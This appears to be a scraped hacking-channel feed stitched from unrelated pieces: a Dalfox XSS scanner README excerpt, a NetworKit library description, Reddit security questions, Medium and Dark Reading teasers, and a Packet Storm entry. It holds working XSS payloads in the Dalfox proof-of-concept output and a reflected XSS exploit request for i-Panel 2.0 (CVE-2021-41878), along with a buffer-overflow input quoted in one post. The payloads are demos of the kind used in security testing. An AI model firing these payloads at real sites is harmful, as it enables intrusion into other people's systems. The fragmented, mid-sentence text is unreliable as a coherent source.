e a portswigger xss cheatsheet payloads
▶ dalfox [mode] [flags] [data]

Single target mode

▶ dalfox url http://testphp.vulnweb.com/listproducts.php\\\\?cat\\\\=123\\\\&artist\\\\=123\\\\&asdf\\\\=ff -b https://hahwul.xss.ht

Multiple target mode from file

▶ dalfox file urls_file –custom-payload ./mypayloads.txt

Pipeline mode

▶ cat urls_file | dalfox pipe -H “AuthToken: bbadsfkasdfadsf87”

Other tips, See wiki for detailed instructions! POC formatSample poc log

[POC][G][BUILT-IN/dalfox-error-mysql/GET] http://testphp.vulnweb.com/listproducts.php?artist=123&asdf=ff&cat=123DalFox
[POC][V][GET] http://testphp.vulnweb.com/listproducts.php?artist=123&asdf=ff&cat=123%22%3E%3Csvg%2Fclass%3D%22dalfox%22onLoad%3Dalert%2845%29%3E
Format
Identity Type Information BLANK PoC Code POC G BUILT-IN/dalfox-error-mysql/GET http://testphp.vulnweb.com/listproducts.php?artist=123&asdf=ff&cat=123DalFox POC R GET http://testphp.vulnweb.com/listproducts.php?artist=123&asdf=ff&cat=123%22%3E%3Csvg%2Fclass%3D%22dalfox%22onLoad%3Dalert%2845%29%3E POC V GET http://testphp.vulnweb.com/listproducts.php?artist=123&asdf=ff&cat=123%22%3E%3Csvg%2Fclass%3D%22dalfox%22onLoad%3Dalert%2845%29%3E
* Type: G(Grep) , R(Reflected) , V(Verify)
* Information: Method, grepping name, etc..
Why is there a gap? It is a method to make it easier to parse only the poc code through cut etc. For example, you can do this.

▶ dalfox url http://testphp.vulnweb.com/listproducts.php\\\\?cat\\\\=123\\\\&artist\\\\=123\\\\&asdf\\\\=ff | cut -d ” “ -f 2 > output
▶ cat output
http://testphp.vulnweb.com/listproducts.php?artist=123&asdf=ff&cat=123DalFox
http://testphp.vulnweb.com/listproducts.php? artist=123&asdf=ff&cat=123%22%3E%3Csvg%2FOnLoad%3D%22%60%24%7Bprompt%60%60%7D%60%22+class%3Ddalfox%3E In the codepackage main import   (
“fmt” dalfox “github.com/hahwul/dalfox/v2/lib”
) func main() {
opt := dalfox.Options{
Cookie: “ABCD=1234”,
}
result, err := dalfox.NewScan(dalfox.Target{
URL: “https://xss-game.appspot.com/level1/frame”,
Method: “GET”,
Options: opt,
})
if err != nil {
fmt.Println(err)
} else {
fmt.Println(result)
}
}
$ go build -o xssapp ; ./xssapp
[] [{V GET https://xss-game.appspot.com/level1/frame?query=%3Ciframe+srcdoc%3D%22%3Cinput+onauxclick%3Dprint%281%29%3E%22+class%3Ddalfox%3E%3C%2Fiframe%3E}] 2.618998247s 2021-07-11 10:59:26.508483153 +0900 KST m=+0.000794230 2021-07-11 10:59:29.127481217 +0900 KST m=+2.619792477} ScreenshotsSingle URL Scanning https://www.blackhatethicalhacking.com/wp-content/uploads/2021/10/Single-URL-Scanning-1024x768.jpg Massive(Multicast/Mass) Scanning https://www.blackhatethicalhacking.com/wp-content/uploads/2021/10/MassiveMulticastMass-Scanning-1024x768.jpg REST API Server Mode https://www.blackhatethicalhacking.com/wp-content/uploads/2021/10/REST-API-Server-Mode-1024x768.jpg Output and Customizing (found-action / grepping) https://www.blackhatethicalhacking.com/wp-content/uploads/2021/10/Output-and-Customizing-found-action-grepping-1024x768.jpg WikiWiki

See Also: Offensive Security Tool: Whispers Recent Tools* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/10/unknown-90x90.png Offensive Security Tool: Whispers7 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/10/Screenshot_20211001_133045-90x90.png Offensive Security Tool: URL Hunter2 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/unknown-90x90.png Offensive Security Tool: Discover3 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/116777794-e9447880-aaa0-11eb-9697-af5f5617b279-90x90.png Offensive Security Tool: SniperPhish4 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/jenkins-90x90.png Offensive Security Tool: Jenkins Attack Framework1 month ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/peg[...]

___________________________
@hacking_Attack
@Hacking_Video

asus-90x90.png Offensive Security Tool: Pegasus Spyware – Decompiled1 month ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/FIbbZME-90x90.png Offensive Security Tool: Starkiller2 months ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/0URVvVK54SOsx1MEq-90x90.png Offensive Security Tool: FFUF2 months ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/687474703a2f2f633666632e696f2f77617263616e6e6f6e2d636c692e706e67-90x90.png Offensive Security Tool: Warcannon2 months ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/2-7-90x90.png Offensive Security Tool: Mimikatz2 months ago
The post Offensive Security Tool: Dalfox first appeared on Black Hat Ethical Hacking.

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
Networkit - A Growing Open-Source Toolkit For Large-Scale Network Analysis

http://1.bp.blogspot.com/-1GRzd20Fjk4/YV0UJDdFyOI/AAAAAAAAv9o/eLTuGKS_Jxg3LDGVrPf2tLN_-nSou4tKACK4BGAYYCw/w640-h180/networkit_1_logo_color-750084.png NetworKit is an open-source tool suite for high-performance network analysis. Its aim is to provide tools for the analysis of large networks in the size range from thousands to billions of edges. For this purpose, it implements efficient graph algorithms, many of them parallel to utilize multicore architectures. These are meant to compute standard measures of network analysis. NetworKit is focused on scalability and comprehensiveness. NetworKit is also a testbed for algorithm engineering and contains novel algorithms from recently published research (see list of publications below).

NetworKit is a Python module. High-performance algorithms are written in C++ and exposed to Python via the Cython toolchain. Python in turn gives us the ability to work interactively and a rich environment of tools for data analysis and scientific computing. Furthermore, NetworKit's core can be built and used as a native library if needed. RequirementsYou will need the following software to install NetworKit as a python package:

* A modern C++ compiler, e.g.: g++ (>= 6.1), clang++ (>= 3.9) or MSVC (>= 14.13)
* OpenMP for parallelism (usually ships with the compiler)
* Python3 (3.6 or higher is supported)
* Development libraries for Python3. The package name depends on your distribution. Examples:
* Debian/Ubuntu: apt-get install python3-dev* RHEL/CentOS: dnf install python3-devel* Windows: Use the official release installer from www.python.org
* Pip
* CMake version 3.6 or higher (Advised to use system packages if available. Alternative: pip3 install cmake)
* Build system: Make or Ninja
* Cython version 0.29 or higher (e.g., pip3 install cython) InstallIn order to use NetworKit, you can either install it via package managers or build the Python module from source. Install via package managerWhile the most recent version is in general available for all package managers, the number of older downloadable versions differ. pippip3 install [--user] networkit conda (channel conda-forge)conda config --add channels conda-forge
conda install networkit [-c conda-forge] brewbrew install networkit spackspack install py-networkit Building the Python module from sourcegit clone https://github.com/networkit/networkit networkit
cd networkit
python3 setup.py build_ext [-jX]
pip3 install -e . The script will call cmakeand ninja(make as fallback) to compile NetworKit as a library, build the extensions and copy it to the top folder. By default, NetworKit will be built with the amount of available cores in optimized mode. It is possible the add the option -jNthe number of threads used for compilation. Usage exampleTo get an overview and learn about NetworKit's different functions/classes, have a look at our interactive notebooks-section, especially the Networkit UserGuide. Note: To view and edit the computed output from the notebooks, it is recommended to use Jupyter Notebook. This requires the prior installation of NetworKit. You should really check that out before start working on your network analysis.

We also provide a Binder-instance of our notebooks. To access this service, you can either click on the badge at the top or follow this link. Disclaimer: Due to rebuilds of the underlying image, it can takes some time until your Binder instance is ready for usage.

If you only want to see in short how NetworKit is used - the following exampl[...]

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
Networkit - A Growing Open-Source Toolkit For Large-Scale Network Analysis

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
How AI Can Stop Zero-Day Ransomware

Ransomware attacks are unpredictable. AI is better at figuring out what looks malicious and abnormal than humans will ever be.

hacking: security in practice
URGENT inquiry

I know that this place is not for this but, could someone tell me were or who to talk to about checking my personal history of zoom meetings attended if I was not the host of those meetings.

I will not explain why but somebody who hate me set me up on a situation that will have HUGE economical consecuentes for me and my family based on lies and misunderstanding that are not true but I can’t prove without proofs.

Thanks in advance

submitted by /u/Jotitax
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Buffer Overflow in C

I was reading my textbook and it says that in order to buffer overflow a "Correct Serial" in a basic C program using GDB, I need to disass main, then locate the part of the code that contains the correct serial. Once I have the address of the correct serial, I am supposed to overwrite the main address by $(perl -e 'print' "INSERT ADDRESS" x10) (ten times to make sure it is overwritten).

When I look at this big paragraph that is full of addresses and calls, jumps, leaves and tests, how do I locate the correct serial? Do I need to do something beforehand?

submitted by /u/jacenmartin
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
I was scammed in metamask... a few times

When I first saw my BNB's dissapeared from my wallet, I thought I did something wrong, I thought that was my fault, so I removed all smart contracts from this wallet - yeah I know that I should forget this wallet forever, but I have nome NFT Games and I dont wanna lose this. So today I got scammed again, even without smart contracts in this account. I don't know how.

He keep scamming a lot of people, you can check his wallet: 0x67CD35A4bf7ac89d1601382fCa47aB419d2C4CFf

For the record, I played BombCrypto, PVU, BlockFarm and PMON, and I NEVER shared my seed or private key or even typed in my PC.

I just wanna stop being scammed, I already removed all Smart Contracts, what else can I do????

submitted by /u/Twenty-nOne
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Unexpected IDOR Vulnerability in [REDACTED] — [redacted].net (Write Up)

Howdy Guys!Continue reading on Medium »
Read more...

Hacking on Medium
3 linux commands you should beware of !

https://cdn-images-1.medium.com/max/1050/1*orvFr6KMHZCuxnC3V1GXGw.jpeg
The following commands ‘ll cause serious damage to your unix machine.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Windows Threat Hunting: Processes

https://cdn-images-1.medium.com/max/728/1*_hwFoEqNq2D4Rr1LBy_20w.jpeg
These programs are not designed to be malicious - but they do have functions that can be used for malicious purposes.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
i-Panel Administration System 2.0 Cross Site Scripting

https://2.bp.blogspot.com/-OQpvXY0U-U0/WWlvZUlJM8I/AAAAAAAAIOw/4zP2-mVc-vo2HWf5V3aXS_jzwpZLTa24QCLcBGAs/s1600/h59.png
i-Panel Administration System version 2.0 suffers from a cross site scripting vulnerability.

MD5 | 39d10d230c9465bc30c644f1917dd5f9

Download
# Exploit Title: i-Panel Administration System 2.0 - Reflected Cross-site Scripting (XSS)
# Date: 04.10.2021
# Exploit Author: Forster Chiu
# Vendor Homepage: https://www.hkurl.com
# Version: 2.0
# Tested on: Chrome, Edge and Firefox
# CVE: CVE-2021-41878
# Reference: https://cybergroot.com/cve_submission/2021-1/XSS_i-Panel_2.0.html

As a proof of concept, an alert box can be generated with the following payload.
Exploit PoC:

GET /lostpassword.php/n4gap%22%3E%3Cimg%20src=a%20onerror=alert(%22XSSVulnerable%22)%3E HTTP/1.1
Host: Forster
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Cookie: PHPSESSID=7db442d0ed0f9c8e21f5151c3711973e
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept-Language: en-gb
Accept-Encoding: gzip, deflate
Connection: close

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Unexpected IDOR Vulnerability in [REDACTED] — [redacted].net (Write Up)
https://bountyget.medium.com/unexpected-idor-vulnerability-in-redacted-redacted-net-write-up-95fc6f10de6c?source=rss------bug_bounty-5

Howdy Guys!Continue reading on Medium » (https://bountyget.medium.com/unexpected-idor-vulnerability-in-redacted-redacted-net-write-up-95fc6f10de6c?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
From Help Desk to Head of SOC: Building a Cybersecurity Career on Empathy and Candor

Why a passion for helping people is key to delivering effective cybersecurity solutions.

Dark Reading: Attacks/Breaches
'Clumsy' BlackByte Malware Reuses Crypto Keys, Worms Into Networks

Discovered during a recent incident response engagement, the malware avoids Russian computers and uses a single symmetric key for encrypting every compromised system.

Dark Reading: Attacks/Breaches
Evolution Equity Partners Close $400M for Cybersecurity Investments

The firm expands capital base, team, and platform addressing a rapidly growing cybersecurity investment opportunity.

___________________________
@hacking_Attack
@Hacking_Video